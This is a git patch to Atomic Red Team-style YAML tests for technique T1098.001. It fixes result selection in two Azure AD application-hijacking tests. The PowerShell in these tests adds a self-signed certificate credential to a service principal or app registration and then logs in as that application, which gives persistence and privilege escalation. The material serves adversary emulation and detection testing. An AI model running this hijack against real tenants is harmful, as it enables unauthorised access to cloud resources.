From 89126e68cd5d81921c11d376b0b9bf7b45d701d2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Thu, 17 Nov 2022 23:08:24 +0100 Subject: [PATCH] Fix bug where the search returns multiple objects by selecting only the first (#2235) The issue was that "Get-AzureADServicePrincipal" and "Get-AzureADApplication" may return several results matching the provided name which is not handled properly by the code which will crash. The solution is to select only the first object. I took the opportunity for a couple minor improvements in the code of those two tests. --- atomics/T1098.001/T1098.001.yaml | 47 +++++++++++++++++--------------- 1 file changed, 25 insertions(+), 22 deletions(-) diff --git a/atomics/T1098.001/T1098.001.yaml b/atomics/T1098.001/T1098.001.yaml index 918f6c06..53daa131 100644 --- a/atomics/T1098.001/T1098.001.yaml +++ b/atomics/T1098.001/T1098.001.yaml @@ -4,8 +4,8 @@ atomic_tests: - name: Azure AD Application Hijacking - Service Principal auto_generated_guid: b8e747c3-bdf7-4d71-bce2-f1df2a057406 description: | - Add a certificate to an Application through its Service Principal. - The certificate can then be used to authenticate as the application and benefit from its rights. + Add a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application. + This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA. supported_platforms: - azure-ad @@ -43,16 +43,18 @@ atomic_tests: Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword - Connect-AzureAD -Credential $Credential + Connect-AzureAD -Credential $Credential > $null - $sp = Get-AzureADServicePrincipal -Searchstring "#{service_principal_name}" + $sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1 if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit } + # in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long $certNotAfter = (Get-Date).AddDays(2) $credNotAfter = (Get-Date).AddDays(1) $thumb = (New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation "cert:\CurrentUser\My" -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter).Thumbprint + Write-Host "Generated certificate ""$thumb""" $pwd = ConvertTo-SecureString -String "#{certificate_password}" -Force -AsPlainText - Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{service_principal_name}.pfx" -Password $pwd + Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{service_principal_name}.pfx" -Password $pwd > $null $cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("#{path_to_cert}\#{service_principal_name}.pfx", $pwd) $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData()) @@ -60,36 +62,35 @@ atomic_tests: New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter Start-Sleep -s 30 - $tenant=Get-AzureADTenantDetail + $tenant = Get-AzureADTenantDetail $auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $thumb Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)" Write-Host "End of Hijacking" cleanup_command: | - try { Import-Module -Name AzureAD -ErrorAction Ignore $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword - Connect-AzureAD -Credential $Credential -ErrorAction Ignore + Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null - $sp = Get-AzureADServicePrincipal -Searchstring "#{service_principal_name}" + $sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1 $credz = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId foreach ($cred in $credz) { if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") { + Write-Host "Removed $($cred.KeyId) key from SP" Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -KeyId $cred.KeyId } } Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item - rm "#{path_to_cert}\#{service_principal_name}.pfx" - } catch {} + rm "#{path_to_cert}\#{service_principal_name}.pfx" -ErrorAction Ignore name: powershell elevation_required: false - name: Azure AD Application Hijacking - App Registration auto_generated_guid: a12b5531-acab-4618-a470-0dafb294a87a description: | - Add a certificate to an Application through its App Registration. - The certificate can then be used to authenticate as the application and benefit from its rights. + Add a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application. + This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA. supported_platforms: - azure-ad @@ -127,15 +128,18 @@ atomic_tests: Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword - Connect-AzureAD -Credential $Credential + Connect-AzureAD -Credential $Credential > $null - $app = Get-AzureADApplication -Searchstring "#{application_name}" + $app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1 if ($app -eq $null) { Write-Warning "Application not found"; exit } + + # in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long $certNotAfter = (Get-Date).AddDays(2) $credNotAfter = (Get-Date).AddDays(1) $thumb = (New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation "cert:\CurrentUser\My" -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter).Thumbprint + Write-Host "Generated certificate ""$thumb""" $pwd = ConvertTo-SecureString -String "#{certificate_password}" -Force -AsPlainText - Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{application_name}.pfx" -Password $pwd + Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{application_name}.pfx" -Password $pwd > $null $cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("#{path_to_cert}\#{application_name}.pfx", $pwd) $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData()) @@ -143,27 +147,26 @@ atomic_tests: New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter Start-Sleep -s 30 - $tenant=Get-AzureADTenantDetail + $tenant = Get-AzureADTenantDetail $auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $thumb Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)" Write-Host "End of Hijacking" cleanup_command: | - try { Import-Module -Name AzureAD -ErrorAction Ignore $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword - Connect-AzureAD -Credential $Credential -ErrorAction Ignore + Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null - $app = Get-AzureADApplication -Searchstring "#{application_name}" + $app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1 $credz = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId foreach ($cred in $credz) { if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") { + Write-Host "Removed $($cred.KeyId) key from application" Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $cred.KeyId } } Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item - rm "#{path_to_cert}\#{application_name}.pfx" - } catch {} + rm "#{path_to_cert}\#{application_name}.pfx" -ErrorAction Ignore name: powershell elevation_required: false - name: AWS - Create Access Key and Secret Key